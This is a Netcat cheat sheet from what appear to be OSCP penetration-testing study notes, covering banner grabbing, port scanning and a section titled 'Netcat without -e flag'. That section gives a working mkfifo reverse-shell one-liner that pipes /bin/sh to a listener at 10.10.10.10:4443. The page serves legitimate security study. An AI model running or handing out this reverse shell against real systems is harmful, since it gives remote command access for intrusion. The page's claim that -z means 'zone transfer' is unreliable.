OSCP Notes
  • Introduction
  • Port Scanning
  • Nmap Port Scanning
  • Nmap Scripts
  • Services Enumeration
    • SMB Enumeration (Port 139, 445)
    • SNMP Enumeraion (Port 161)
    • NFS Enumeration (Port 111, 2049)
    • SMTP Enumeration (Port 25)
    • DNS Enumeration (Port 53)
    • POP3 (Port 110, 25*)
    • MySQL (Port 3306)
    • Oracle (Port 1521)
    • MsSQL (Port 1433)
  • Web / HTTP
    • Web Scanning
    • CMS
    • Directory Fuzzing
    • File Upload
      • Bypass file upload filtering
      • Bruteforcing extensions
      • WebDAV
    • Bruteforce Authentication
    • LFI and RFI
      • Interesting Files for LFI
      • Null Byte Injection
      • PHP Wrappers
    • ShellShock
    • Post Requests
  • password attacks
    • Brute-force service password
    • Cracking Password
    • Custom Worldlist
  • Exploitaion
    • Searchsploit
    • Compiling the Exploit
  • shell
    • Bind and Reverse shell
    • Upgrading shell
    • msfvenom
  • Linux Post Exploitation
    • Linux Manual Exploitation
    • Linux post exploitation scripts
    • Kernel Exploitation
  • windows post exploitation
    • General
    • Manual Exploitaion
    • Dumping the sam file
    • SUDO SU
    • Automated enumeration script
    • Windows Exploit Suggester
  • file transfer
    • General
    • Linux
    • Windows
  • cheatsheets
    • Command injection Cheatsheet
    • Find Command Cheatsheet
    • Netcat
    • SQL Injection Bypass
    • CheckList
    • XSS Payload
Powered by GitBook
On this page
  • Banner Grabbing
  • Netcat without -e flag
  • Port Scanning
  1. cheatsheets

Netcat

PreviousFind Command CheatsheetNextSQL Injection Bypass

Last updated 3 years ago

  • TCP/IP Swiss Army Knife - we will use this tool alot

  • Can scan ports but can also be used for:

    • chatting between two computers

    • banner grabbing

    • file transfer

    • for shell

  • Traffic is not encrypted ( unless you use ncat)

Banner Grabbing

nc -v google.com 80

it will connect nc to google server if port 80 is open and then we can query it manually for example

after connecting , we can use http parameters like GET, HEAD, OPTIONS etc to send the request and server will return the response

Netcat without -e flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f

Port Scanning

 nc -nv -w 1 -z 192.168.1.1 1-1024
 
-nv = doesn't resolve dns
-w 1 = sets timeout to 1 second
-z = specifies zone transfer
-u = UDP mode (can be unreliable)